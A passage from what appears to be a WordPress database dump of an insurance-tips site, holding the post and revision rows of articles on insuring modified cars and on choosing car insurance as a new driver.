harness</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Stereo systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Supercharger or turbocharger</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Suspension upgrades</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Winch system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Window tint</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Even if you own your own vehicle, some modifications can void your manufacturer’s warranty, be illegal in your state or against your insurance company’s underwriting guidelines. You may want to check with your insurance agent and local department of motor vehicles before paying for modifications that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Change your vehicle’s performance</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Boost your vehicle’s speed</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Dramatically raise or lower your vehicle’s suspension</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lowers your chance of meeting your state’s emissions requirements</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Use nitrous oxide</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Enhance exhaust noise</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Affect your car’s level of safety</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Reduce visibility of your car or the road</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is modified car insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A typical car insurance policy with comprehensive and collision coverage, often referred to as full coverage, covers physical damage to your vehicle if it is involved in an accident. However, this coverage may not include modifications or customizations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies offer specified coverage for customization or modification at an additional cost. If you’re involved in an accident and don’t have coverage for the mods, you’ll only be covered up to the original manufacturer version of the car. This could be a substantial loss if your modified parts are also damaged in the accident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will insurance companies cover modified cars?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some traditional insurance companies offer modification coverage on a regular car insurance policy, but some don’t. You may be able to get a classic car policy with companies like AAA or State Farm, but not all cars qualify. Mods also have to be permanently installed in the vehicle to be covered under a standard car insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are also specialized car insurance providers who offer coverage for sports cars, hot rods, classics and other modified vehicles, with limitations. Companies like American Modern, Grundy and Hagerty may offer coverage with modifications if your original insurer won’t cover your modifications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Do I have to tell my insurer about my car modifications?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When adding a vehicle to an insurance policy or requesting quotes, insurers may ask if your vehicle has been modified or customized in any way. Not disclosing mods made to your car may be construed as material misrepresentation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you are modifying a vehicle you are already insuring, you might not be required to notify the insurance company, but it may be in your best interest to do so. Comprehensive and collision coverage usually only applies to after-market parts if the policy has a modification endorsement. Without the endorsement, you will likely only receive compensation for the original manufacturer’s version of the car following a covered claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When seeking extra coverage for mods, you’ll likely need to provide receipts and proof that you purchased the items and that they were installed on your vehicle, including pictures of these items installed properly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even for vehicles with liability-only coverage, it may be important to contact your insurance provider. Even if you don’t have physical coverage for your own vehicle, mods may affect your coverage eligibility with certain carriers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does modified car insurance cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The cost of modified car insurance varies depending on how much coverage you need and the types of modifications completed. Since you are asking the insurance company to cover more in the event of a loss, you might end up paying more for car insurance. However, if your modifications improve your vehicle’s safety, you might not experience a higher rate. Depending on the modifications done, the insurance company may also consider insuring the car to be a higher risk, which may also increase the cost of your car insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Agreed value policy</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some companies offer an agreed value policy to cover car mods, which may be the best choice for modified car insurance. An agreed value policy states the value of your car including all modifications, which both you and the insurance company agree to. If you are involved in a covered accident, the insurance company will pay up to the agreed value to repair or replace your car.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some agreed value or specialty car insurers will also offer coverage for restorations and spare parts. These optional coverage types typically cost more but may provide even better financial protection while your car is being restored or if you have spare parts or specialty tools to work on it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can I get discounts for car modifications?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although insurers may not charge higher insurance rates for modifications that improve your vehicle’s safety features, like dash cams, you probably won’t find discounts for these modifications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After making updates to your vehicle, it is understandable that you may want to look for ways to save money on your car insurance. Taking advantage of discounts or lowering your insurable risk as a driver may help you find cheap coverage. Some other discounts you may want to look for include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Telematics discounts:</strong> Many carriers offer telematics programs that could reward you with a lower rate for demonstrating safe driving habits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Student discounts:</strong>&nbsp;Students may be able to save on their premiums with potential discounts for good grades or enrolling in a defensive driving course.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Payment discounts:</strong> These savings opportunities may be some of the easiest to earn. You might lower your rates by paying your premium in full or enrolling in paperless or automatic billing.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/car/car-modifications/#can-i-get-discounts-for-car-modifications\">click here.</a></p>\n<!-- /wp:paragraph -->','Car Insurance For a Car With Modifications','','inherit','closed','closed','','3922-revision-v1','','','2024-03-30 02:22:47','2024-03-30 02:22:47','',3922,'https://smartinsurance.tips/?p=3924',0,'revision','',0),(3925,1,'2024-03-30 03:20:23','2024-03-30 03:20:23','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3926,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-22-1024x1024.png\" alt=\"\" class=\"wp-image-3926\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Key takeaways</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>All new drivers, regardless of age or experience level, are legally required to obtain car insurance coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Age, driving record, location, gender, marital status, vehicle type, credit history and coverage limits are all factors that can determine a new driver\'s car insurance rate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Minimum coverage car insurance policies provide basic liability protection, while full coverage policies offer more comprehensive protection.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>New drivers should conduct research, know what coverage they need, have their personal and vehicle information on hand, and compare options to find the best car insurance policy for their needs and budget.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>A driver’s license represents a major milestone for anyone who has ever coveted independence However, newly licensed drivers cannot legally hit the open road without first obtaining auto insurance coverage. This legal requirement applies regardless of age or experience level.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By approaching car insurance as the legal responsibility it is, new drivers can avoid letting eagerness cloud better judgment. With patience and prudence, they can identify affordable coverage that properly transfers risk while granting the freedom of the road. The path to independence comes with obligations, not oppositions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who needs new driver car insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>All new drivers need a new car insurance policy. While the term “new driver” often leads to assumptions that only young adults and teenagers qualify, car insurance companies have different definitions. Here are the groups that could be considered as a new driver under their stipulations:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Newly licensed teen drivers</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adults who are newly licensed</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Immigrants and foreign nationals</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Any drivers of any age with a gap in insurance coverage or licensing</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>These new drivers will typically pay higher-than-average rates for their car insurance policies. For example, the average cost of car insurance is $2,542 per year for a full coverage policy, but an 18-year-old driver on their own policy pays an average of $7,499 per year for the same coverage. This is due, in part, to there being more risk involved with insuring younger or less-experienced drivers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">8 factors that determine car insurance rates for new drivers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When considering car insurance, keep in mind that companies have varied factors for determining rates. Two important factors are your age and your driving record. But it does not stop there, although you’re likely to see higher premiums for younger drivers or those without a stellar driving history. The complete list includes:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Age:</strong>&nbsp;Teenage drivers under 18 generally have the highest insurance rates. Premiums usually decrease around age 25 when drivers are seen as more responsible. The younger you are, the more you’ll typically pay. In Hawaii and Massachusetts, insurers are not allowed to consider your age when calculating your premium; however, in Massachusetts, years of driving experience are still allowed to be considered, so younger drivers typically still pay more.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Driving record:</strong>&nbsp;A clean record with no at-fault accidents or moving violations saves you money. Even one incident can raise rates substantially. New drivers with very brief driving histories often pay more.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Location:</strong>&nbsp;Insurance costs vary widely by state and ZIP code. Urban areas with more accidents, thefts and lawsuits have higher premiums. New drivers in low-risk rural settings typically pay less.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Gender:</strong>&nbsp;Statistics show young male drivers tend to have more accidents. In most states, teenage boys pay more than teenage girls. California, Hawaii, Massachusetts, Michigan, North Carolina, Pennsylvania do not allow insurers to consider gender when calculating premiums.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Marital status:</strong>&nbsp;Married drivers are viewed as more responsible and pay lower premiums. Single drivers have higher risk factors.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Vehicle type:</strong>&nbsp;Sports cars, luxury vehicles and high-performance models cost more to insure. New drivers in standard vehicles save money.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Credit history:</strong> In most states, a good credit-based insurance score means lower rates. New drivers may pay more with little or no credit established. California, Hawaii, Massachusetts and Michigan ban or restrict the use of credit as a rating factor.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Coverage limits:</strong>&nbsp;Minimum required limits cost less but provide less protection. Higher limits cost more but reduce financial exposure in the case of at-fault accidents.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Types of car insurance for new drivers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you are looking for car insurance for new drivers, it is important to look at all the available types of car insurance coverage. Insurance companies typically offer minimum coverage and full coverage auto policies, as well as additional endorsements that can be used to customize your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Minimum coverage car insurance policies</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While minimum car insurance coverage requirements vary by state, most minimum coverage policies only provide basic liability protection and may not fully cover expenses if an accident occurs. Though cheaper initially, skimping on coverage can lead to major out-of-pocket costs later. Common components of minimum coverage include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Bodily injury (BI) liability:</strong> Bodily injury liability coverage will help pay for medical expenses related to the other driver’s injuries if you cause an accident. If the other driver sues you for losses, it may also cover your legal fees.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Property damage (PD) liability:</strong> This coverage pays toward property damage that you cause to others, like the other person’s vehicle repairs that occurred due to an at-fault accident.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Uninsured/underinsured motorist coverage (UM/UIM):</strong> This type of coverage offers financial protection if you get into an accident with a driver who is uninsured or does not have enough insurance to cover your losses. It also covers damage from hit-and-run accidents and if you are struck by a vehicle as a pedestrian or while riding a bicycle. Keep in mind that uninsured motorist coverage for injuries is separate from the same type of coverage for property damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Personal injury protection (PIP):</strong> Required in “no-fault” states where both parties’ insurance covers medical expenses regardless of fault. PIP pays for medical bills, lost wages and other accident-related costs for you and your passengers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Medical payments coverage (MedPay):</strong> This coverage helps pay medical expenses following an accident for yourself or any passengers in your vehicle. It is considered optional coverage in most states, but there are a few states that require drivers to carry this type of coverage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Though tempting for the lower premium, minimum coverage policies may have significant gaps. Going beyond state minimums can provide more comprehensive protection in the event of an accident, but it costs more upfront. New drivers must weigh these trade-offs carefully on how much insurance they really need.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Full coverage car insurance policies</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Going beyond the basics may be wise for drivers wanting robust safeguards for their finances and assets, especially if they own a newer vehicle. Though full coverage can cost extra initially, it can prevent major out-of-pocket expenses if an accident occurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Full coverage policies typically include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Collision:</strong> This coverage will help pay to repair or replace your vehicle if you collide with another vehicle or something else that damages your vehicle, such as a tree, fence or light pole. It also covers rollover accidents.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Comprehensive:</strong> This coverage pays for damage to your vehicle caused by a wide array of situations, like theft, storm damage, vandalism and animal damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Additional endorsement options</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Beyond mandatory minimums and comprehensive full coverage policies, auto insurance providers offer a menu of optional endorsements to customize protection. Also called riders, these supplementary coverages allow drivers to tailor policies to their specific needs and budget. These may include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Towing and labor coverage:</strong>&nbsp;Towing and labor coverage may pay for the cost of towing your car to a repair shop and may also cover a certain amount of necessary labor charges to repair the issue that caused the vehicle to break down.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Roadside assistance:</strong> This coverage provides roadside assistance coverage in case your vehicle breaks down or is stolen, or if you need to change a flat tire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Accident forgiveness:</strong> Some insurers offer an accident forgiveness endorsement that will prevent your premiums from rising after an accident. Keep in mind that not all accidents are covered and certain conditions must be met to qualify.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to get car insurance for new drivers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The options can be endless when it comes to car insurance coverage. The abundance of choices can make the process of getting a car insurance policy feel daunting. Knowing what steps you should take to obtain your first car insurance policy may help. These include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Conduct thorough research.</strong> When choosing an auto insurance provider as a new driver, narrow the options by deciding your top priorities first, then consult reviews to compile a list of companies that offer those key factors to streamline decision-making and identify the best value based on your specific needs and budget. Conducting targeted research before getting quotes makes finding the ideal coverage more manageable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Know what coverage you need.</strong> Minimum coverage car insurance is typically the cheapest, but having higher liability limits and more coverage, like comprehensive and collision, could better protect your finances. It can be helpful to know which type of coverage is right for you, and any optional coverage types you may want, before getting quotes. Full coverage, which includes comprehensive and collision coverage, is typically required by your lender if you lease or finance your car.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Have your personal and vehicle information on hand.</strong>&nbsp;Having your driver’s license number, vehicle make/model/VIN and personal info like your birthdate, address and Social Security number on hand streamlines the quote process. Insurers will need these specifics for all drivers listed on the policy to generate accurate premium estimates.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Get personalized car insurance quotes.</strong>&nbsp;Policies and prices for coverage may vary by company, so it’s often helpful to get quotes from multiple providers. Most large insurance companies offer quotes online, but you may also speak to an agent to get a personalized quote. This can help you find the best fit for your needs and budget.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Inquire about available discounts.</strong> Most insurance companies will offer various discount opportunities, such as bundling policies, good student, multi-car, airbags, usage-based and more. These discounts may help you save money on a new driver policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Compare options and purchase a policy.</strong> With multiple premium estimates in hand, carefully evaluate each policy’s rates, exclusions, endorsements and customer service reputation. Determine the ideal fit for your budget and protection needs, complete required paperwork, and pay to activate coverage so you can legally and safely hit the road.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/car/car-insurance-for-new-drivers/#how-to-get-car-insurance-for-new-drivers\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Get Car Insurance for New Drivers','','publish','closed','closed','','how-to-get-car-insurance-for-new-drivers','','','2024-03-30 03:20:25','2024-03-30 03:20:25','',0,'https://smartinsurance.tips/?p=3925',0,'post','',0),(3926,1,'2024-03-30 03:18:34','2024-03-30 03:18:34','','Untitled-22','','inherit','closed','closed','','untitled-22-4','','','2024-03-30 03:18:34','2024-03-30 03:18:34','',3925,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-22.png',0,'attachment','image/png',0),(3927,1,'2024-03-30 03:20:23','2024-03-30 03:20:23','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3926,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-22-1024x1024.png\" alt=\"\" class=\"wp-image-3926\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Key takeaways</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>All new drivers, regardless of age or experience level, are legally required to obtain car insurance coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Age, driving record, location, gender, marital status, vehicle type, credit history and coverage limits are all factors that can determine a new driver\'s car insurance rate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Minimum coverage car insurance policies provide basic liability protection, while full coverage policies offer more comprehensive protection.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>New drivers should conduct research, know what coverage they need, have their personal and vehicle information on hand, and compare options to find the best car insurance policy for their needs and budget.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>A driver’s license represents a major milestone for anyone who has ever coveted independence However, newly licensed drivers cannot legally hit the open road without first obtaining auto insurance coverage. This legal requirement applies regardless of age or experience level.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By approaching car insurance as the legal responsibility it is, new drivers can avoid letting eagerness cloud better judgment. With patience and prudence, they can identify affordable coverage that properly transfers risk while granting the freedom of the road. The path to independence comes with obligations, not oppositions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who needs new driver car insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>All new drivers need a new car insurance policy. While the term “new driver” often leads to assumptions that only young adults and teenagers qualify, car insurance companies have different definitions. Here are the groups that could be considered as a new driver under their stipulations:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Newly licensed teen drivers</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adults who are newly licensed</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Immigrants and foreign nationals</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Any drivers of any age with a gap in insurance coverage or licensing</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>These new drivers will typically pay higher-than-average rates for their car insurance policies. For example, the average cost of car insurance is $2,542 per year for a full coverage policy, but an 18-year-old driver on their own policy pays an average of $7,499 per year for the same coverage. This is due, in part, to there being more risk involved with insuring younger or less-experienced drivers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">8 factors that determine car insurance rates for new drivers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When considering car insurance, keep in mind that companies have varied factors for determining rates. Two important factors are your age and your driving record. But it does not stop there, although you’re likely to see higher premiums for younger drivers or those without a stellar driving history. The complete list includes:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Age:</strong>&nbsp;Teenage drivers under 18 generally have the highest insurance rates. Premiums usually decrease around age 25 when drivers are seen as more responsible. The younger you are, the more you’ll typically pay. In Hawaii and Massachusetts, insurers are not allowed to consider your age when calculating your premium; however, in Massachusetts, years of driving experience are still allowed to be considered, so younger drivers typically still pay more.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Driving record:</strong>&nbsp;A clean record with no at-fault accidents or moving violations saves you money. Even one incident can raise rates substantially. New drivers with very brief driving histories often pay more.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Location:</strong>&nbsp;Insurance costs vary widely by state and ZIP code. Urban areas with more accidents, thefts and lawsuits have higher premiums. New drivers in low-risk rural settings typically pay less.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Gender:</strong>&nbsp;Statistics show young male drivers tend to have more accidents. In most states, teenage boys pay more than teenage girls. California, Hawaii, Massachusetts, Michigan, North Carolina, Pennsylvania do not allow insurers to consider gender when calculating premiums.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Marital status:</strong>&nbsp;Married drivers are viewed as more responsible and pay lower premiums. Single drivers have higher risk factors.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Vehicle type:</strong>&nbsp;Sports cars, luxury vehicles and high-performance models cost more to insure. New drivers in standard vehicles save money.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Credit history:</strong> In most states, a good credit-based insurance score means lower rates. New drivers may pay more with little or no credit established. California, Hawaii, Massachusetts and Michigan ban or restrict the use of credit as a rating factor.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Coverage limits:</strong>&nbsp;Minimum required limits cost less but provide less protection. Higher limits cost more but reduce financial exposure in the case of at-fault accidents.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Types of car insurance for new drivers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you are looking for car insurance for new drivers, it is important to look at all the available types of car insurance coverage. Insurance companies typically offer minimum coverage and full coverage auto policies, as well as additional endorsements that can be used to customize your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Minimum coverage car insurance policies</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While minimum car insurance coverage requirements vary by state, most minimum coverage policies only provide basic liability protection and may not fully cover expenses if an accident occurs. Though cheaper initially, skimping on coverage can lead to major out-of-pocket costs later. Common components of minimum coverage include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Bodily injury (BI) liability:</strong> Bodily injury liability coverage will help pay for medical expenses related to the other driver’s injuries if you cause an accident. If the other driver sues you for losses, it may also cover your legal fees.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Property damage (PD) liability:</strong> This coverage pays toward property damage that you cause to others, like the other person’s vehicle repairs that occurred due to an at-fault accident.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Uninsured/underinsured motorist coverage (UM/UIM):</strong> This type of coverage offers financial protection if you get into an accident with a driver who is uninsured or does not have enough insurance to cover your losses. It also covers damage from hit-and-run accidents and if you are struck by a vehicle as a pedestrian or while riding a bicycle. Keep in mind that uninsured motorist coverage for injuries is separate from the same type of coverage for property damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Personal injury protection (PIP):</strong> Required in “no-fault” states where both parties’ insurance covers medical expenses regardless of fault. PIP pays for medical bills, lost wages and other accident-related costs for you and your passengers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Medical payments coverage (MedPay):</strong> This coverage helps pay medical expenses following an accident for yourself or any passengers in your vehicle. It is considered optional coverage in most states, but there are a few states that require drivers to carry this type of coverage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Though tempting for the lower premium, minimum coverage policies may have significant gaps. Going beyond state minimums can provide more comprehensive protection in the event of an accident, but it costs more upfront. New drivers must weigh these trade-offs carefully on how much insurance they really need.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Full coverage car insurance policies</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Going beyond the basics may be wise for drivers wanting robust safeguards for their finances and assets, especially if they own a newer vehicle. Though full coverage can cost extra initially, it can prevent major out-of-pocket expenses if an accident occurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Full coverage policies typically include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Collision:</strong> This coverage will help pay to repair or replace your vehicle if you collide with another vehicle or something else that damages your vehicle, such as a tree, fence or light pole. It also covers rollover accidents.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Comprehensive:</strong> This coverage pays for damage to your vehicle caused by a wide array of situations, like theft, storm damage, vandalism and animal damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Additional endorsement options</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Beyond mandatory minimums and comprehensive full coverage policies, auto insurance providers offer a menu of optional endorsements to customize protection. Also called riders, these supplementary coverages allow drivers to tailor policies to their specific needs and budget. These may include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Towing and labor coverage:</strong>&nbsp;Towing and labor coverage may pay for the cost of towing your car to a repair shop and may also cover a certain amount of necessary labor charges to repair the issue that caused the vehicle to break down.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Roadside assistance:</strong> This coverage provides roadside assistance coverage in case your vehicle breaks down or is stolen, or if you need to change a flat 